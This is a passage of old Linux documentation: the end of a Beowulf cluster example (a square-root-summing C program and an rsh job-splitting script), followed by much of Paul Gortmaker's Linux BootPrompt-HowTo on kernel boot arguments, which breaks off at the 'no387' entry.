/* Jacek Radajewski jacek@usq.edu.au */
/* 21/08/1998 */

#include <stdio.h>
#include <math.h>

int main (int argc, char** argv) {

  long number1, number2, counter;
  double result;

  if (argc < 3) {
    printf ("usage : %s number1 number2\n",argv[0]);
    exit(1);
  } else {
    number1 = atol (argv[1]);
    number2 = atol (argv[2]);
    result = 0.0;
  }

  for (counter = number1; counter <= number2; counter++) {
    result = result + sqrt((double)counter);
  }

  printf("%lf\n", result);

  return 0;

}

6.3 prun.sh

#!/bin/bash
# Jacek Radajewski jacek@usq.edu.au
# 21/08/1998

export SIGMASQRT=/home/staff/jacek/beowulf/HOWTO/example1/sigmasqrt

# $OUTPUT must be a named pipe
# mkfifo output

export OUTPUT=/home/staff/jacek/beowulf/HOWTO/example1/output

rsh scilab01 $SIGMASQRT         1  50000000 > $OUTPUT < /dev/null&
rsh scilab02 $SIGMASQRT  50000001 100000000 > $OUTPUT < /dev/null&
rsh scilab03 $SIGMASQRT 100000001 150000000 > $OUTPUT < /dev/null&
rsh scilab04 $SIGMASQRT 150000001 200000000 > $OUTPUT < /dev/null&
rsh scilab05 $SIGMASQRT 200000001 250000000 > $OUTPUT < /dev/null&
rsh scilab06 $SIGMASQRT 250000001 300000000 > $OUTPUT < /dev/null&
rsh scilab07 $SIGMASQRT 300000001 350000000 > $OUTPUT < /dev/null&
rsh scilab08 $SIGMASQRT 350000001 400000000 > $OUTPUT < /dev/null&
rsh scilab09 $SIGMASQRT 400000001 450000000 > $OUTPUT < /dev/null&
rsh scilab10 $SIGMASQRT 450000001 500000000 > $OUTPUT < /dev/null&
rsh scilab11 $SIGMASQRT 500000001 550000000 > $OUTPUT < /dev/null&
rsh scilab12 $SIGMASQRT 550000001 600000000 > $OUTPUT < /dev/null&
rsh scilab13 $SIGMASQRT 600000001 650000000 > $OUTPUT < /dev/null&
rsh scilab14 $SIGMASQRT 650000001 700000000 > $OUTPUT < /dev/null&
rsh scilab15 $SIGMASQRT 700000001 750000000 > $OUTPUT < /dev/null&
rsh scilab16 $SIGMASQRT 750000001 800000000 > $OUTPUT < /dev/null&
rsh scilab17 $SIGMASQRT 800000001 850000000 > $OUTPUT < /dev/null&
rsh scilab18 $SIGMASQRT 850000001 900000000 > $OUTPUT < /dev/null&
rsh scilab19 $SIGMASQRT 900000001 950000000 > $OUTPUT < /dev/null&
rsh scilab20 $SIGMASQRT 950000001 1000000000 > $OUTPUT < /dev/null&


The Linux BootPrompt-HowTo

by Paul Gortmaker.

v1.3, Sept 4, 2001

This is the BootPrompt-Howto, which is a compilation of all the possible boot time arguments that can be passed to the Linux kernel at boot time. This includes all kernel and device parameters. A discussion of how the kernel sorts boot time arguments, along with an overview of some of the popular software used to boot Linux kernels is also included.

1. Introduction

  • 1.1 Intended Audience and Applicability
  • 1.2 Related Documentation
  • 1.3 The Linux Newsgroups
  • 1.4 New Versions of this Document

2. Overview of Boot Prompt Arguments

  • 2.1 General Notation
  • 2.2 LILO (LInux LOader)
  • 2.3 LoadLin
  • 2.4 The ``rdev'' utility
  • 2.5 How the Kernel Sorts the Arguments
  • 2.6 Setting Environment Variables.
  • 2.7 Passing Arguments to the `init' program

3. General Non-Device Specific Boot Args

  • 3.1 Root Filesystem options
  • 3.2 Options Relating to RAM Disk Management
  • 3.3 Boot Arguments Related to Memory Handling
  • 3.4 Boot Arguments for Network Settings with NFS Root Filesystem
  • 3.5 Other Misc. Kernel Boot Arguments

4. Boot Arguments to Control PCI Bus Behaviour (`pci=')

  • 4.1 The `pci=bios' and `pci=nobios' Arguments
  • 4.2 The `pci=conf1' and `pci=conf2' Arguments
  • 4.3 The `pci=io=' Argument
  • 4.4 The `pci=nopeer' Argument
  • 4.5 The `pci=nosort' Argument
  • 4.6 The `pci=off' Argument
  • 4.7 The `pci=reverse' Argument

5. Boot Arguments for Video Frame Buffer Drivers

  • 5.1 The `video=map:...' Argument
  • 5.2 The `video=scrollback:...' Argument
  • 5.3 The `video=vc:...' Argument

6. Boot Arguments for SCSI Peripherals.

  • 6.1 Arguments for Mid-level Drivers
  • 6.2 Arguments for SCSI Host Adapter Drivers
  • 6.3 SCSI Host Adapters that don't Accept Boot Args

7. Hard Disks

  • 7.1 IDE Disk/CD-ROM Driver Parameters
  • 7.2 Standard ST-506 Disk Driver Options (`hd=')
  • 7.3 XT Disk Driver Options (`xd=')

8. The Sound Drivers

  • 8.1 The AD1848 (`ad1848=')
  • 8.2 The Adlib (`adlib=')
  • 8.3 The MAD16 (`mad16=')
  • 8.4 The ProAudioSpectrum PAS16 (`pas2=')
  • 8.5 The SoundBlaster (`sb=')
  • 8.6 The UART 401 (`uart401=')
  • 8.7 The UART 6850 (`uart6850=')
  • 8.8 The Yamaha OPL2/OPL3/OPL4 FM Synthesizer (`opl3=')
  • 8.9 The Yamaha OPL3-SA FM Synthesizer (`opl3sa=')
  • 8.10 The Yamaha OPL3-SA2/SA3 FM Synthesizer (`opl3sa2=')

9. CD-ROMs (Non-SCSI/ATAPI/IDE)

  • 9.1 The Aztech Interface (`aztcd=')
  • 9.2 The CDU-31A and CDU-33A Sony Interface (`cdu31a=')
  • 9.3 The CDU-535 Sony Interface (`sonycd535=')
  • 9.4 The GoldStar Interface (`gscd=')
  • 9.5 The ISP16 Interface (`isp16=')
  • 9.6 The Mitsumi Standard Interface (`mcd=')
  • 9.7 The Mitsumi XA/MultiSession Interface (`mcdx=')
  • 9.8 The Optics Storage Interface (`optcd=')
  • 9.9 The Phillips CM206 Interface (`cm206=')
  • 9.10 The Sanyo Interface (`sjcd=')
  • 9.11 The SoundBlaster Pro Interface (`sbpcd=')

10. Serial and ISDN Drivers

  • 10.1 The ICN ISDN driver (`icn=')
  • 10.2 The PCBIT ISDN driver (`pcbit=')
  • 10.3 The Teles ISDN driver (`teles=')
  • 10.4 The DigiBoard Driver (`digi=')
  • 10.5 The RISCom/8 Multiport Serial Driver (`riscom8=')
  • 10.6 The Baycom Serial/Parallel Radio Modem (`baycom=')

11. Other Hardware Devices

  • 11.1 Ethernet Devices (`ether=', `netdev=')
  • 11.2 The Floppy Disk Driver (`floppy=')
  • 11.3 The Bus Mouse Driver (`bmouse=')
  • 11.4 The MS Bus Mouse Driver (`msmouse=')
  • 11.5 The Printer Driver (`lp=')
  • 11.6 The Parallel port IP driver (`plip=')

12. Copying, Translations, Closing, etc.

  • 12.1 Copyright and Disclaimer
  • 12.2 Closing


The Linux BootPrompt-HowTo: Introduction

 Next Previous Contents

1. Introduction

The kernel has a limited capability to accept information at boot in the form of a `command line', similar to an argument list you would give to a program. In general this is used to supply the kernel with information about hardware parameters that the kernel would not be able to determine on its own, or to avoid/override the values that the kernel would otherwise detect.

However, if you just copy a kernel image directly to a floppy, (e.g. cp zImage /dev/fd0) then you are not given a chance to specify any arguments to that kernel. So most Linux users will use software like LILO or loadlin that takes care of handing these arguments to the kernel, and then booting it.

This present revision covers kernels up to and including v2.4.9.

The BootPrompt-Howto is by:

Paul Gortmaker, p_gortmaker@yahoo.com

This document is Copyright (c) 1995-2001 by Paul Gortmaker. Please see the Disclaimer and Copying information at the end of this document ( copyright) for information about redistribution of this document and the usual `we are not responsible for what you manage to break...' type legal stuff.

1.1 Intended Audience and Applicability

Most Linux users should never have to even look at this document. Linux does an exceptionally good job at detecting most hardware and picking reasonable default settings for most parameters. The information in this document is aimed at users who might want to change some of the default settings to optimize the kernel to their particular machine, or to a user who has `rolled their own' kernel to support a not so common piece of hardware for which automatic detection is currently not available (e.g. some old ISA devices).

IMPORTANT NOTE: Driver related boot prompt arguments only apply to hardware drivers that are compiled directly into the kernel. They have no effect on drivers that are loaded as modules. Most Linux distributions come with a basic `bare-bones' kernel, and the drivers are small modules that are loaded after the kernel has initialized. If you are unsure if you are using modules then try lsmod, look at man depmod and man modprobe along with the contents of your /etc/modules.conf.

1.2 Related Documentation

The most up-to-date documentation will always be the kernel source itself. Hold on! Don't get scared. You don't need to know any programming to read the comments in the source files. For example, if you were looking for what arguments could be passed to the AHA1542 SCSI driver, then you would go to the linux/drivers/scsi directory, and look in the file aha1542.c for __setup(... , ...). The first thing in brackets is the argument you provide at boot, and the second thing is the name of the function that processes your argument. Usually near the top of this function or at the top of the source file you will find a description of the boot time arguments that the driver accepts.

The linux directory is usually found in /usr/src/ for most distributions. All references in this document to files that come with the kernel will have their pathname abbreviated to start with linux - you will have to add the /usr/src/ or whatever is appropriate for your system. (If you can't find the file in question, then make use of the find and locate commands.)

The next best thing will be any documentation files that are distributed with the kernel itself. There are now quite a few of these, and most of them can be found in the directory linux/Documentation and subdirectories from there. Sometimes there will be README.foo files that can be found in the related driver directory (e.g. linux/drivers/???/, where examples of ??? could be scsi, char, or net).

If you have figured out what boot-args you intend to use, and now want to know how to get that information to the kernel, then look at the documentation that comes with the software that you use to boot the kernel (e.g. LILO or loadlin). A brief overview is given below, but it is no substitute for the documentation that comes with the booting software.

1.3 The Linux Newsgroups

If you have questions about passing boot arguments to the kernel, please check this document first. If this and the related documentation mentioned above does not answer your question(s) then you can try the Linux newsgroups. General questions on how to configure your system should be directed to the comp.os.linux.setup newsgroup. We ask that you please respect this general guideline for content, and don't cross-post your request to other groups.

Of course you should try checking the group before blindly posting your question, as it may even be a Frequently Asked Question (a FAQ). A quick browse of the Linux FAQ before posting is a good idea. You should be able to find the FAQ somewhere close to where you found this document. If it is not a FAQ then use newsgroup archives, such as those at http://www.dejanews.com to quickly search years worth of postings for your topic. Chances are someone else has already asked (and another person answered!) the question that you now have.

1.4 New Versions of this Document

New versions of this document can be retrieved via anonymous FTP from most Linux FTP sites in the directory /pub/Linux/docs/HOWTO/. Updates will be made as new information and/or drivers becomes available. If this copy that you are presently reading is more than six months old, then you should probably check to see if a newer copy exists. I would recommend viewing this via a WWW browser or in the Postscript/dvi format. Both of these contain cross-references that are lost in a simple plain text version.

If you want to get the official copy, here is URL.

BootPrompt-HOWTO


The Linux BootPrompt-HowTo: Overview of Boot Prompt Arguments

 Next Previous Contents

2. Overview of Boot Prompt Arguments

This section gives some examples of software that can be used to pass kernel boot-time arguments to the kernel itself. It also gives you an idea of how the arguments are processed, what limitations there are on the boot args, and how they filter down to each appropriate device that they are intended for.

It is important to note that spaces should not be used in a boot argument, but only between separate arguments. A list of values that are for a single argument are to be separated with a comma between the values, and again without any spaces. See the following examples below.

        ether=9,0x300,0xd0000,0xd4000,eth0  root=/dev/hda1            *RIGHT*
        ether = 9, 0x300, 0xd0000, 0xd4000, eth0  root = /dev/hda1    *WRONG*

Once the Linux kernel is up and running, one can view the command line arguments that were in place at boot by simply typing cat /proc/cmdline at a shell prompt.

2.1 General Notation

When giving examples of boot arguments for device drivers you will commonly see the following given as parameters where numbers matching your particular system will need to be used.

io or iobase -- the first I/O port that the device occupies. These are specified in hexidecimal notation, and usually lie in the range from 0x200 to 0x3ff for ISA devices. Lower case is usually used in hex numbers with Linux.

irq -- the hardware interrupt that the device is configured to use. Valid values will be dependent on the card in question, but will usually be 5, 7, 9, 10, 11, 12, and 15. The other values are usually used for common peripherals like IDE hard disks, floppies, serial ports, etc.

dma -- the DMA (Direct Memory Access) channel that the card may use. Typically only applies to bus-mastering cards. PCI and VLB cards are native bus-masters, and do not require and ISA DMA channel. Some sound cards use two DMA channels, an 8 bit one and a 16 bit one.

2.2 LILO (LInux LOader)

The LILO program (LInux LOader) written by Werner Almesberger is the most commonly used. It has the ability to boot various kernels, and stores the configuration information in a plain text file. Most distributions ship with LILO as the default boot-loader. LILO can boot DOS, OS/2, Linux, FreeBSD, etc. without any difficulties, and is quite flexible.

A typical configuration will have LILO stop and print LILO: shortly after you turn on your computer. It will then wait for a few seconds for any optional input from the user, and failing that it will then boot the default system. Typical system labels that people use in the LILO configuration files are linux and backup and msdos. If you want to type in a boot argument, you type it in here, after typing in the system label that you want LILO to boot from, as shown in the example below.

        LILO: linux root=/dev/hda1

LILO comes with excellent documentation, and for the purposes of boot args discussed here, the LILO append= command is of significant importance when one wants to add a boot time argument as a permanent addition to the LILO config file. You simply add something like append = "foo=bar" to the /etc/lilo.conf file. It can either be added at the top of the config file, making it apply to all sections, or to a single system section by adding it inside an image= section. Please see the LILO documentation for a more complete description.

2.3 LoadLin

The other commonly used Linux loader is `LoadLin' which is a DOS program that has the capability to launch a Linux kernel from the DOS prompt (with boot-args) assuming that certain resources are available. This is good for people that use DOS and want to launch into Linux from DOS.

It is also very useful if you have certain hardware which relies on the supplied DOS driver to put the hardware into a known state. A common example is `SoundBlaster Compatible' sound cards that require the DOS driver to set a few proprietary registers to put the card into a SB compatible mode. Booting DOS with the supplied driver, and then loading Linux from the DOS prompt with LOADLIN.EXE avoids the reset of the card that happens if one rebooted instead. Thus the card is left in a SB compatible mode and hence is useable under Linux.

There are also other programs that can be used to boot Linux. For a complete list, please look at the programs available on your local Linux ftp mirror, under system/Linux-boot/.

2.4 The ``rdev'' utility

There are a few of the kernel boot parameters that have their default values stored in various bytes in the kernel image itself. There is a utility called rdev that is installed on most systems that knows where these values are, and how to change them. It can also change things that have no kernel boot argument equivalent, such as the default video mode used.

The rdev utility is usually also aliased to swapdev, ramsize, vidmode and rootflags. These are the five things that rdev can change, those being the root device, the swap device, the RAM disk parameters, the default video mode, and the readonly/readwrite setting of root device.

More information on rdev can be found by typing rdev -h or by reading the supplied man page (man rdev).

2.5 How the Kernel Sorts the Arguments

Most of the boot args take the form of:

        name[=value_1][,value_2]...[,value_11]

where `name' is a unique keyword that is used to identify what part of the kernel the associated values (if any) are to be given to. Multiple boot args are just a space separated list of the above format. Note the limit of 11 is real, as the present code only handles 11 comma separated parameters per keyword. (However, you can re-use the same keyword with up to an additional 11 parameters in unusually complicated situations, assuming the setup function supports it.) Also note that the kernel splits the list into a maximum of ten integer arguments, and a following string, so you can't really supply 11 integers unless you convert the 11th arg from a string to an int in the driver itself.

Most of the sorting goes on in linux/init/main.c. First, the kernel checks to see if the argument is any of the special arguments `root=', `ro', `rw', or `debug'. The meaning of these special arguments is described further on in the document.

Then it walks a list of setup functions (contained in the bootsetups array) to see if the specified argument string (such as `foo') has been associated with a setup function (foo_setup()) for a particular device or part of the kernel. If you passed the kernel the line foo=3,4,5,6,bar then the kernel would search the bootsetups array to see if `foo' was registered. If it was, then it would call the setup function associated with `foo' (foo_setup()) and hand it the integer arguments 3, 4, 5 and 6 as given on the kernel command line, and also hand it the string argument bar.

2.6 Setting Environment Variables.

Anything of the form `foo=bar' that is not accepted as a setup function as described above is then interpreted as an environment variable to be set. An example would be to use TERM=vt100 or BOOT_IMAGE=vmlinuz.bak as a boot argument. These environment variables are typically tested for in the initialization scripts to enable or disable a wide range of things.

2.7 Passing Arguments to the `init' program

Any remaining arguments that were not picked up by the kernel and were not interpreted as environment variables are then passed onto process one, which is usually the init program. The most common argument that is passed to the init process is the word single which instructs init to boot the computer in single user mode, and not launch all the usual daemons. Check the manual page for the version of init installed on your system to see what arguments it accepts.


The Linux BootPrompt-HowTo: General Non-Device Specific Boot Args

 Next Previous Contents

3. General Non-Device Specific Boot Args

These are the boot arguments that are not related to any specific device or peripheral. They are instead related to certain internal kernel parameters, such as memory handling, ramdisk handling, root file system handling and others.

3.1 Root Filesystem options

The following options all pertain to how the kernel selects and handles the root filesystem.

The `root=' Argument

This argument tells the kernel what device is to be used as the root filesystem while booting. The default of this setting is the value of the root device of the system that the kernel was built on. For example, if the kernel in question was built on a system that used `/dev/hda1' as the root partition, then the default root device would be `/dev/hda1'. To override this default value, and select the second floppy drive as the root device, one would use `root=/dev/fd1'.

Valid root devices are any of the following devices:

(1) /dev/hdaN to /dev/hddN, which is partition N on ST-506 compatible disk `a to d'.

(2) /dev/sdaN to /dev/sdeN, which is partition N on SCSI compatible disk `a to e'.

(3) /dev/xdaN to /dev/xdbN, which is partition N on XT compatible disk `a to b'.

(4) /dev/fdN, which is floppy disk drive number N. Having N=0 would be the DOS `A:' drive, and N=1 would be `B:'.

(5) /dev/nfs, which is not really a device, but rather a flag to tell the kernel to get the root fs via the network.

(6) /dev/ram, which is the RAM disk.

The more awkward and less portable numeric specification of the above possible disk devices in major/minor format is also accepted. (e.g. /dev/sda3 is major 8, minor 3, so you could use root=0x803 as an alternative.)

This is one of the few kernel boot arguments that has its default stored in the kernel image, and which can thus be altered with the rdev utility.

The `ro' Argument

When the kernel boots, it needs a root filesystem to read basic things off of. This is the root filesystem that is mounted at boot. However, if the root filesystem is mounted with write access, you can not reliably check the filesystem integrity with half-written files in progress. The `ro' option tells the kernel to mount the root filesystem as `readonly' so that any filesystem consistency check programs (fsck) can safely assume that there are no half-written files in progress while performing the check. No programs or processes can write to files on the filesystem in question until it is `remounted' as read/write capable.

This is one of the few kernel boot arguments that has its default stored in the kernel image, and which can thus be altered with the rdev utility.

The `rw' Argument

This is the exact opposite of the above, in that it tells the kernel to mount the root filesystem as read/write. The default is to mount the root filesystem as read only. Do not run any `fsck' type programs on a filesystem that is mounted read/write.

The same value stored in the image file mentioned above is also used for this parameter, accessible via rdev.

3.2 Options Relating to RAM Disk Management

The following options all relate to how the kernel handles the RAM disk device, which is usually used for bootstrapping machines during the install phase, or for machines with modular drivers that need to be installed to access the root filesystem.

The `ramdisk_start=' Argument

To allow a kernel image to reside on a floppy disk along with a compressed ramdisk image, the `ramdisk_start=<offset>' command was added. The kernel can't be included into the compressed ramdisk filesystem image, because it needs to be stored starting at block zero so that the BIOS can load the bootsector and then the kernel can bootstrap itself to get going.

Note: If you are using an uncompressed ramdisk image, then the kernel can be a part of the filesystem image that is being loaded into the ramdisk, and the floppy can be booted with LILO, or the two can be separate as is done for the compressed images.

If you are using a two-disk boot/root setup (kernel on disk 1, ramdisk image on disk 2) then the ramdisk would start at block zero, and an offset of zero would be used. Since this is the default value, you would not need to actually use the command at all.

The `load_ramdisk=' Argument

This parameter tells the kernel whether it is to try to load a ramdisk image or not. Specifying `load_ramdisk=1' will tell the kernel to load a floppy into the ramdisk. The default value is zero, meaning that the kernel should not try to load a ramdisk.

Please see the file linux/Documentation/ramdisk.txt for a complete description of the new boot time arguments, and how to use them. A description of how this parameter can be set and stored in the kernel image via `rdev' is also described.

The `prompt_ramdisk=' Argument

This parameter tells the kernel whether or not to give you a prompt asking you to insert the floppy containing the ramdisk image. In a single floppy configuration the ramdisk image is on the same floppy as the kernel that just finished loading/booting and so a prompt is not needed. In this case one can use `prompt_ramdisk=0'. In a two floppy configuration, you will need the chance to switch disks, and thus `prompt_ramdisk=1' can be used. Since this is the default value, it doesn't really need to be specified. ( (Historical note: Sneaky people used to use the `vga=ask' LILO option to temporarily pause the boot process and allow a chance to switch from boot to root floppy.)

Please see the file linux/Documentation/ramdisk.txt for a complete description of the new boot time arguments, and how to use them. A description of how this parameter can be set and stored in the kernel image via `rdev' is also described.

The `ramdisk_size=' Argument

While it is true that the ramdisk grows dynamically as required, there is an upper bound on its size so that it doesn't consume all available RAM and leave you in a mess. The default is 4096 (i.e. 4MB) which should be large enough for most needs. You can override the default to a bigger or smaller size with this boot argument.

Please see the file linux/Documentation/ramdisk.txt for a complete description of the new boot time arguments, and how to use them. A description of how this parameter can be set and stored in the kernel image via `rdev' is also described.

The `ramdisk=' Argument (obsolete)

(NOTE: This argument is obsolete, and should not be used except on kernels v1.3.47 and older. The commands that should be used for the ramdisk device are documented above.)

This specifies the size in kB of the RAM disk device. For example, if one wished to have a root filesystem on a 1.44MB floppy loaded into the RAM disk device, they would use:

        ramdisk=1440

This is one of the few kernel boot arguments that has its default stored in the kernel image, and which can thus be altered with the rdev utility.

The `noinitrd' (initial RAM disk) Argument

The v2.x and newer kernels have a feature where the root filesystem can be initially a RAM disk, and the kernel executes /linuxrc on that RAM image. This feature is typically used to allow loading of modules needed to mount the real root filesystem (e.g. load the SCSI driver modules stored in the RAM disk image, and then mount the real root filesystem on a SCSI disk.)

The actual `noinitrd' argument determines what happens to the initrd data after the kernel has booted. When specified, instead of converting it to a RAM disk, it is accessible via /dev/initrd, which can be read once before the RAM is released back to the system. For full details on using the initial RAM disk, please consult linux/Documentation/initrd.txt. In addition, the most recent versions of LILO and LOADLIN should have additional useful information.

The `nmi_watchdog=' Argument

Supplying a non-zero integer will enable the non maskable interrupt watchdog (assuming IO APIC support is compiled in). This checks to see if the interrupt count is increasing (indicating normal system activity) and if it is not then it assumes that a processor is stuck and forces an error dump of diagnostic information.

3.3 Boot Arguments Related to Memory Handling

The following arguments alter how Linux detects or handles the physical and virtual memory of your system.

The `mem=' Argument

This argument has two purposes: The original purpose was to specify the amount of installed memory (or a value less than that if you wanted to limit the amount of memory available to linux). The second (and hardly used) purpose is to specify mem=nopentium which tells the Linux kernel to not use the 4MB page table performance feature.

The original BIOS call defined in the PC specification that returns the amount of installed memory was only designed to be able to report up to 64MB. (Yes, another lack of foresight, just like the 1024 cylinder disks... sigh.) Linux uses this BIOS call at boot to determine how much memory is installed. If you have more than 64MB of RAM installed, you can use this boot argument to tell Linux how much memory you have. Here is a quote from Linus on the usage of the mem= parameter.

``The kernel will accept any `mem=xx' parameter you give it, and if it turns out that you lied to it, it will crash horribly sooner or later. The parameter indicates the highest addressable RAM address, so `mem=0x1000000' means you have 16MB of memory, for example. For a 96MB machine this would be `mem=0x6000000'. If you tell Linux that it has more memory than it actually does have, bad things will happen: maybe not at once, but surely eventually.''

Note that the argument does not have to be in hex, and the suffixes `k' and `M' (case insensitive) can be used to specify kilobytes and Megabytes, respectively. (A `k' will cause a 10 bit shift on your value, and a `M' will cause a 20 bit shift.) A typical example for a 128MB machine would be "mem=128m".

The `memfrac=' Argument

Memory is broken down into zones; on i386 these zones correspond to `DMA' (for legacy ISA devices that can only address up to 16MB via DMA); `Normal' for memory from 16MB up to 1GB, and `HighMem' for memory beyond 1GB (assuming your kernel was built with high mem support enabled). The two (or three) integers supplied here determine how much memory in each zone should be kept free - with the size of the zone divided by the number supplied being used as the minimum (so smaller numbers mean keep more free in the zone). The defaults are currently memfrac=32,128,128.

The `swap=' Argument

This allows the user to tune some of the virtual memory (VM) parameters that are related to swapping to disk. It accepts the following eight parameters:

        MAX_PAGE_AGE
        PAGE_ADVANCE
        PAGE_DECLINE
        PAGE_INITIAL_AGE
        AGE_CLUSTER_FRACT
        AGE_CLUSTER_MIN
        PAGEOUT_WEIGHT
        BUFFEROUT_WEIGHT

Interested hackers are advised to have a read of linux/mm/swap.c and also make note of the goodies in /proc/sys/vm. Kernels come with some useful documentation on this in the linux/Documentation/vm/ directory.

The `buff=' Argument

Similar to the `swap=' argument, this allows the user to tune some of the parameters related to buffer memory management. It accepts the following six parameters:

        MAX_BUFF_AGE
        BUFF_ADVANCE
        BUFF_DECLINE
        BUFF_INITIAL_AGE
        BUFFEROUT_WEIGHT
        BUFFERMEM_GRACE

Interested hackers are advised to have a read of linux/mm/swap.c and also make note of the goodies in /proc/sys/vm. Kernels come with some useful documentation on this in the linux/Documentation/vm/ directory.

3.4 Boot Arguments for Network Settings with NFS Root Filesystem

Linux supports systems such as diskless workstations via having their root filesystem as NFS (Network FileSystem). These arguments are used to tell the diskless workstation which machine it is to get its system from. Also note that the argument root=/dev/nfs is required. Detailed information on using an NFS root fs is in the file linux/Documentation/nfsroot.txt.

The `nfsroot=' Argument

This argument tells the kernel which machine, what directory and what NFS options to use for the root filesystem. The form of the argument is as follows:

        nfsroot=[<server-ip>:]<root-dir>[,<nfs-options>]

If the nfsroot parameter is not given on the command line, the default `/tftpboot/%s' will be used. The other options are as follows:

<server-ip> -- Specifies the IP address of the NFS server. If this field is not given, the default address as determined by the nfsaddrs variable (see below) is used. One use of this parameter is for example to allow using different servers for RARP and NFS. Usually you can leave this blank.

<root-dir> -- Name of the directory on the server to mount as root. If there is a `%s' token in the string, the token will be replaced by the ASCII-representation of the client's IP address.

<nfs-options> -- Standard NFS options. All options are separated by commas. If the options field is not given, the following defaults will be used:

        port            = as given by server portmap daemon
        rsize           = 1024
        wsize           = 1024
        timeo           = 7
        retrans         = 3
        acregmin        = 3
        acregmax        = 60
        acdirmin        = 30
        acdirmax        = 60
        flags           = hard, nointr, noposix, cto, ac

The `ip=' or `nfsaddrs=' Argument

This boot argument sets up the various network interface addresses that are required to communicate over the network. If this argument is not given, then the kernel tries to use RARP and/or BOOTP to figure out these parameters. The form is as follows:

        nfsaddrs=<my-ip>:<serv-ip>:<gw-ip>:<netmask>:<name>:<dev>:<auto>

<my-ip> -- IP address of the client. If empty, the address will either be determined by RARP or BOOTP. What protocol is used de- pends on what has been enabled during kernel configuration and on the <auto> parameter. If this parameter is not empty, neither RARP nor BOOTP will be used.

<serv-ip> -- IP address of the NFS server. If RARP is used to determine the client address and this parameter is NOT empty only replies from the specified server are accepted. To use different RARP and NFS server, specify your RARP server here (or leave it blank), and specify your NFS server in the nfsroot parameter (see above). If this entry is blank the address of the server is used which answered the RARP or BOOTP request.

<gw-ip> -- IP address of a gateway if the server in on a different subnet. If this entry is empty no gateway is used and the server is assumed to be on the local network, unless a value has been received by BOOTP.

<netmask> -- Netmask for local network interface. If this is empty, the netmask is derived from the client IP address, unless a value has been received by BOOTP.

<name> -- Name of the client. If empty, the client IP address is used in ASCII-notation, or the value received by BOOTP.

<dev> -- Name of network device to use. If this is empty, all devices are used for RARP requests, and the first one found for BOOTP. For NFS the device is used on which either RARP or BOOTP replies have been received. If you only have one device you can safely leave this blank.

<auto> -- Method to use for autoconfiguration. If this is either `rarp' or `bootp' or `dhcp' the specified protocol is being used. If the value is `both' or empty, both RARP and BOOTP protocols are used so far as they have been enabled during kernel configuration Using 'none' means no autoconfiguration. In this case you have to specify all necessary values in the fields before.

The <auto> parameter can appear alone as the value to the nfsaddrs parameter (without all the `:' characters before) in which case autoconfiguration is used. However, the `none' value is not available in that case.

3.5 Other Misc. Kernel Boot Arguments

These various boot arguments let the user tune certain internal kernel parameters.

The `acpi=' Argument

Currently this only accepts `off' to disable the ACPI subsystem.

The `console=' Argument

Usually the console is the 1st virtual terminal, and so boot messages appear on your VGA screen. Sometimes it is nice to be able to use another device like a serial port (or even a printer!) to be the console when no video device is present. It is also useful to capture boot time messages if a problem stops progress before they can be logged to disk. An example would be to use console=ttyS1,9600 for selecting the 2nd serial port at 9600 baud to be the console. More information can be found in linux/Documentation/serial-console.txt.

The `debug' Argument

The kernel communicates important (and not-so important) messages to the operator via the printk() function. If the message is considered important, the printk() function will put a copy on the present console as well as handing it off to the klogd() facility so that it gets logged to disk. The reason for printing important messages to the console as well as logging them to disk is because under unfortunate circumstances (e.g. a disk failure) the message won't make it to disk and will be lost.

The threshold for what is and what isn't considered important is set by the console_loglevel variable. The default is to log anything more important than DEBUG (level 7) to the console. (These levels are defined in the include file kernel.h) Specifying debug as a boot argument will set the console loglevel to 10, so that all kernel messages appear on the console.

The console loglevel can usually also be set at run time via an option to the klogd() program. Check the man page for the version installed on your system to see how to do this.

The `decnet=' Argument

If you are using DECnet, you can supply two comma separated integers here to give your area and node respectively.

The `idle=' Argument

Setting this to `poll' causes the idle loop in the kernel to poll on the need reschedule flag instead of waiting for an interrupt to happen. This can result in an improvement in performance on SMP systems (albeit at the cost of an increase in power consumption).

The `init=' Argument

The kernel defaults to starting the `init' program at boot, which then takes care of setting up the computer for users via launching getty programs, running `rc' scripts and the like. The kernel first looks for /sbin/init, then /etc/init (depreciated), and as a last resort, it will try to use /bin/sh (possibly on /etc/rc). If for example, your init program got corrupted and thus stopped you from being able to boot, you could simply use the boot prompt init=/bin/sh which would drop you directly into a shell at boot, allowing you to replace the corrupted program.

The `isapnp=' Argument

This takes the form of: isapnp=read_port,reset,skip_pci_scan,verbose

The `isapnp_reserve_dma=' Argument

This takes the form of: isapnp_reserve_dma=n1,n2,n3,...nN where n1 ... nN are the DMA channel numbers to not use for PnP.

The `isapnp_reserve_io=' Argument

This takes the form of: isapnp_reserve_irq=io1,size1,io2,size2,...ioN,sizeN where ioX,sizeX are I/O start and length pairs of regions in I/O space that are not to be used by PnP.

The `isapnp_reserve_irq=' Argument

This takes the form of: isapnp_reserve_irq=n1,n2,n3,...nN where n1 ... nN are the interrupt numbers to not use for PnP.

The `isapnp_reserve_mem=' Argument

This takes the form of: isapnp_reserve_mem=mem1,size1,mem2,size2,...memN,sizeN where ioX,sizeX are I/O start and length pairs of regions in memory space that are not to be used by PnP.

The `kbd-reset' Argument

Normally on i386 based machines, the Linux kernel does not reset the keyboard controller at boot, since the BIOS is supposed to do this. But as usual, not all machines do what they should. Supplying this option may help if you are having problems with your keyboard behaviour. It simply forces a reset at initialization time. (Some have argued that this should be the default behaviour anyways).

The `maxcpus=' Argument

The number given with this argument limits the maximum number of CPUs activated in SMP mode. Using a value of 0 is equivalent to the nosmp option.

The `mca-pentium' Argument

The IBM model 95 Microchannel machines seem to lock up on the test that Linux usually does to detect the type of math chip coupling. Since all Pentium chips have a built in math processor, this test (and the lock up problem) can be avoided by using this boot option.

The `md=' Argument

If your root filesystem is on a Multiple Device then you can use this (assuming you compiled in boot support) to tell the kernel the multiple device layout. The format (from the file linux/Documentation/md.txt) is:

md=md_device_num,raid_level,chunk_size_factor,fault_level,dev0,dev1,...,devN

Where md_device_num is the number of the md device, i.e. 0 means md0, 1 means md1, etc. For raid_level, use -1 for linear mode and 0 for striped mode. Other modes are currently unsupported. The chunk_size_factor is for raid-0 and raid-1 only and sets the chunk size as PAGE_SIZE shifted left the specified amount. The fault_level is only for raid-1 and sets the maximum fault number to the specified number. (Currently unsupported due to lack of boot support for raid1.) The dev0-devN are a comma separated list of the devices that make up the individual md device: e.g. /dev/hda1,/dev/hdc1,/dev/sda1

The `no387' Argument

